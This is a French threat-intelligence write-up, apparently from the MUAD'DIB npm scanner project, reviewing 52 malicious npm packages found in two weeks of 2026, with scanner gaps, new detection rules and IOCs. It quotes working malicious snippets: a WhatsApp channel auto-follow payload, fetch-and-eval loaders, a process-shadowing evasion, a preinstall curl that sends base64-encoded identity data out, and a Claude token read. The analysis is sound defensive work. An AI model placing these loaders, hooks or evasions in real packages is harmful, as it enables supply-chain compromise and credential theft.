On a ouvert toutes les archives. Du 30 mars au 14 avril 2026, le moniteur MUAD'DIB a archive 14 373 tarballs npm. On a lance des scans signature sur 100% des tarballs, puis fait une review code reelle sur ~700 packages (les plus suspects, compound score >= 5 ou patterns de signature). Chaque malware confirme a ete lu et le payload verifie manuellement.
Resultat : 52 malwares confirmes, 7 campagnes distinctes, 5+ attaquants identifies. Et 12 de ces malwares avaient un score inferieur a 50 dans le scanner. Certains a 9.
Les chiffres
| Metrique | Valeur |
|---|---|
| Periode | 30 mars - 14 avril 2026 (15 jours) |
| Tarballs scannes | 14 373 |
| Packages revus (code lu) | ~700 |
| MALWARE confirme | 52 |
| SUSPICIOUS | 4 |
| UNCERTAIN | 6 |
| FP confirme (code lu) | ~700 |
| Non revu | ~13 600 |
Campagne 1 : les forks Baileys (20 packages)
Baileys est une librairie JavaScript pour l'API WhatsApp Web. Elle est populaire pour les bots WhatsApp. Le probleme, c'est que n'importe qui peut la forker, injecter 15 lignes dans lib/Socket/newsletter.js, et publier le fork sur npm.
C'est exactement ce que font 5+ attaquants independants. Le payload est toujours le meme : forcer l'abonnement a des channels WhatsApp en utilisant la session authentifiee de la victime. L'utilisateur installe le fork pour son bot WhatsApp, et sans le savoir, son compte s'abonne aux channels de l'attaquant.
4 variantes observees :
V1 : JID en clair dans le code. V2 : JID encode en base64 (Buffer.from("MTIw...", "base64")). V3 : JIDs telecharges depuis un serveur C2 (cdn.malvintech.sbs). C'est la variante la plus dangereuse parce que l'attaquant peut modifier la liste des channels sans republier le package. V4 : JIDs dans une constante AUTO_FOLLOW_CHANNELS en debut de fichier, sans setTimeout.
Voici le payload type (variante V2) :
setTimeout(async () => {
try {
await newsletterWMexQuery(
Buffer.from("MTIwMzYzNDAzOTQxODAzNDM5QG5ld3NsZXR0ZXI=", "base64").toString(),
Types_1.QueryIds.FOLLOW
)
await new Promise(r => setTimeout(r, 1500))
await newsletterWMexQuery(
Buffer.from("MTIwMzYzNDIwNzY2OTgxNTEzQG5ld3NsZXR0ZXI=", "base64").toString(),
Types_1.QueryIds.FOLLOW
)
} catch {}
}, Math.floor(Math.random() * 20000) + 10000)
Delai aleatoire 10-20 secondes, catch {} silencieux, base64 pour eviter un grep direct. Classique.
Un package ne s'appelle pas "baileys" du tout : riftcore@1.4.6. Le meme payload newsletter, cache sous un nom qui ne ressemble pas a un fork WhatsApp. Les regles de detection ne doivent pas dependre du nom du package.
Les variantes V4 (@budetzz/baileys, @archeron-dev/baileys) avaient un score de 35 dans MUAD'DIB. Sous le seuil T1b. Meme impact malveillant que les autres, mais invisible au triage.
Campagne 2 : RCE depuis 173.211.46.220 (5 packages)
Un seul attaquant, cinq packages. Le pattern est le meme pour tous : une copie trojanisee d'un module Node.js core (buffer-util, jsontoken, path) avec deux IIFE injectees.
(function () {
fetch(atob(randomStringRe))
.then((t) => t.json())
.then((data) => { eval(data.content); })
})();
L'URL decodee pointe vers 173.211.46.220. Les dependencies declarent execp, fs (le package npm, pas le builtin) et request. Cette combinaison de deps n'existe dans aucun package legitime. C'est un fingerprint d'attaquant.
Les 5 packages scorent 100. MUAD'DIB les attrape correctement. L'article sur react-emits decrit cette campagne en detail.
Campagne 3 : RCE via jsonkeeper.com (6 packages)
Deux sous-campagnes qui utilisent des services JSON gratuits (jsonkeeper.com, npoint.io) comme C2. Le principe : le payload telecharge du JSON depuis un paste service, et execute le contenu via eval ou new Function.
La sous-campagne "Robert King" utilise une technique d'evasion interessante :
// Le global process est shadow par une variable locale
const process = { env: { DEV_API_KEY: "https://www.jsonkeeper.com/b/XB9WY" } };
const src = process.env.DEV_API_KEY;
// ...
const s = (await axios.get(src)).data.Cookie;
const handler = new Function.constructor("require", s);
handler(require);
Le const process = {...} masque le vrai process global. Les outils d'analyse statique qui cherchent des URLs dans process.env ne voient rien de suspect. Et new Function.constructor("require", s) passe le vrai require au code dynamique, ce qui donne un acces complet au systeme de fichiers, au reseau, a tout.
chai-as-inserted et cookie-parseflow scorent 10. Dix. Sur cent. Quasi invisible.
Campagne 4 : attaque ciblee Strapi/Guardarian (7 packages)
Celle-ci est differente. Ce n'est pas du spray-and-pray. C'est une attaque ciblee contre l'exchange crypto Guardarian.
7 packages publies simultanement, tous nommes strapi-plugin-* (api, events, health, locale, logger, monitor, notify). Chacun a un role specifique : reverse shell TCP, dump de credentials PostgreSQL (mot de passe en dur dans le code), exfiltration Redis, webshell, scan Docker/Kubernetes, beacon C2. L'IP C2 est 144.31.107.231:9999.
Tous scorent 100. Le scanner les voit.
Campagne 5 : dependency confusion (8 packages)
Le pattern classique de dependency confusion. Un package public avec une version tres elevee (99.99.x) et un hook preinstall. Si l'organisation ciblee n'a pas configure de scope prive, npm resout vers le package public au lieu du package interne.
3 packages ciblent des entreprises reelles avec exfiltration via bot Telegram : @corpweb-ui/wmkt-library, @toprank/partner, @adac-fahrzeugplattform/ui (ADAC, l'automobile club allemand). Score 100.
Mais 2 packages de la meme famille scorent 9. @signals-notebook/annotation-editor et @signals-notebook/utils. Le payload est un simple curl -d "$(id | base64)" https://pipedream.net/... dans le preinstall. Pas de fichier JS a scanner. Pas d'AST. Juste une commande shell dans le package.json.
{
"scripts": {
"preinstall": "curl -d \"$(id | base64)\" https://01c76565...m.pipedream.net/signalsnoteb_depconf"
}
}
Score 9 parce que MUAD'DIB ne detecte que lifecycle_script (MEDIUM, 3 points) + base64_encoding (HIGH, 10 points) mais aucune regle ne flag curl + base64 + env dans un lifecycle script comme CRITICAL. Le shell scanner ne scanne pas les one-liners dans le package.json, seulement les fichiers .sh.
Les individus
@opengov/form-renderer : le worm npm
Le plus dangereux de la liste. Le package vole les tokens npm (~/.npmrc, env vars, npm config), installe un backdoor Python persistant via systemd, telecharge un executeable depuis un canister ICP (tdtqy-oyaaa-aaaae-af2dq-cai.raw.icp0.io), et lance un script deploy.js qui publie des versions empoisonnees de tous les packages de la victime. Un seul npm install peut compromettre un ecosysteme entier. Score 100.
cchubber : le stealer Claude Code
Un package qui vole les credentials Claude AI. Le src/telemetry.js (700+ lignes) lit ~/.claude/.credentials.json, extrait le token OAuth, scanne les configurations MCP, analyse les fichiers CLAUDE.md, fingerprint le systeme, et exfiltre tout vers un Workers Cloudflare (cchubber-telemetry.asmirkhan087.workers.dev).
Le commentaire dans le code : // Anonymous usage telemetry - no PII, no tokens, no file contents.
Le code reel :
const creds = JSON.parse(readFileSync(join(claudeDir, '.credentials.json'), 'utf-8'));
// ...
return creds?.claudeAiOauth?.accessToken || null;
Mensonge delibere. Score 100.
js-logger-pack : le professionnel
7 versions publiees sur 12 jours (1.1.5 a 1.1.17). 601KB de code obfusque avec javascript-obfuscator (control flow flattening, string array rotation, dead code injection). Les URLs C2 sont construites dynamiquement a partir de variables comme ZM1ZIT(0x8f7). Deobfuscation complete impossible dans un temps raisonnable. Le payload utilise 5 fetch, child_process (execFileSync, spawn, spawnSync), et lit process.env 70 fois. Score 100.
black-moon-js : le stealer Discord
Info stealer complet. 15 categories de donnees : mots de passe WiFi (netsh wlan), tokens Discord (LevelDB Chrome/Brave/Edge/Opera), env vars secrets, wallets crypto, historique PowerShell, processus, connexions reseau. Exfiltration vers un webhook Discord en multipart. Le terminal se ferme apres 25 secondes pour cacher l'activite.
Le commentaire dans le code : "Pour cours de cybersecurite uniquement". Auteur : "Sirius". Score 100.
Ce que le scanner rate
12 malwares sur 52 scorent en dessous de 50. Voici les trous :
| Pattern | Score actuel | Packages rates |
|---|---|---|
curl -d $(env|base64) URL dans preinstall | 9 | @signals-notebook (x2), apache-arrow-14 |
new Function.constructor("require", s) | 10 | chai-as-inserted, cookie-parseflow |
| Version 99+ avec preinstall hook | 10 | jenkins-for-jira, @kucoin-gbiz-next/tools |
| AUTO_FOLLOW_CHANNELS (Baileys V4) | 35 | @budetzz/baileys, @archeron-dev/baileys |
eval(parsed.model) depuis jsonkeeper | 35 | reactvora |
const process = { env: {...} } (shadow) | 10-52 | campagne Robert King |
Le point commun : ce sont des patterns que le scanner connait individuellement, mais qu'il ne combine pas correctement. curl dans un preinstall, c'est MEDIUM. base64, c'est HIGH. Mais curl + base64 + $(env) dans un preinstall, c'est CRITICAL. Le scoring ne fait pas cette distinction.
Ce qu'on a corrige
5 nouvelles regles implementees dans la foulee (v2.10.89) :
| Regle | ID | Severite | Attrape |
|---|---|---|---|
curl_env_exfil | PKG-018 | CRITICAL | curl/wget + env/base64 dans lifecycle |
function_constructor_require | AST-086 | CRITICAL | new Function.constructor("require") |
process_variable_shadow | AST-087 | HIGH | const process = { env: {...} } |
newsletter_auto_follow | AST-088 | HIGH/CRITICAL | Baileys newsletter + FOLLOW/QueryIds |
version_99_preinstall | PKG-019 | HIGH | Version >= 99 + lifecycle hook |
2 compound scoring rules pour combiner les signaux. 8 domaines/IPs C2 ajoutes a la liste de detection. 40 packages malveillants ajoutes aux IOC builtin. 12 tests positifs et negatifs. 3213 tests passent, 0 echec.
Les limites
~700 packages sur 14 373, c'est 5% de couverture. Les 13 600 restants n'ont pas ete revus manuellement. Les scans signature couvrent 100% des tarballs mais ne detectent que des patterns connus. Un nouveau type d'obfuscation passera inapercu. Les bundles de plus de 5MB n'ont pas ete ouverts. Pas d'analyse dynamique.
La review a ete faite par un LLM (Claude), pas par un humain. Les agents de review peuvent rater du code malveillant dans des bundles de 500KB+ minifies. Le temps de review par agent (~5 min/package) ne permet pas de lire chaque ligne de chaque fichier. Les verdicts ont ete verifies manuellement pour les malwares, mais les FP n'ont pas tous ete contre-verifies.
IOCs
Les IOCs complets (C2, IPs, JIDs WhatsApp, auteurs, emails) sont dans le rapport de review : data/security-review-2026-03-30-to-04-14.md.
Les principaux :
IPs:
173.211.46.220 (campagne RCE trojan)
144.31.107.231:9999 (Strapi/Guardarian)
Domaines:
cdn.malvintech.sbs (Baileys V3 C2)
cchubber-telemetry.asmirkhan087.workers.dev (Claude credential stealer)
jsonkeeper.com (Robert King / json-spacer C2)
npoint.io (Robert King C2)
minhdong.site (credential proxy Facebook)
ltidi.storage.googleapis.com (KuCoin dependency confusion)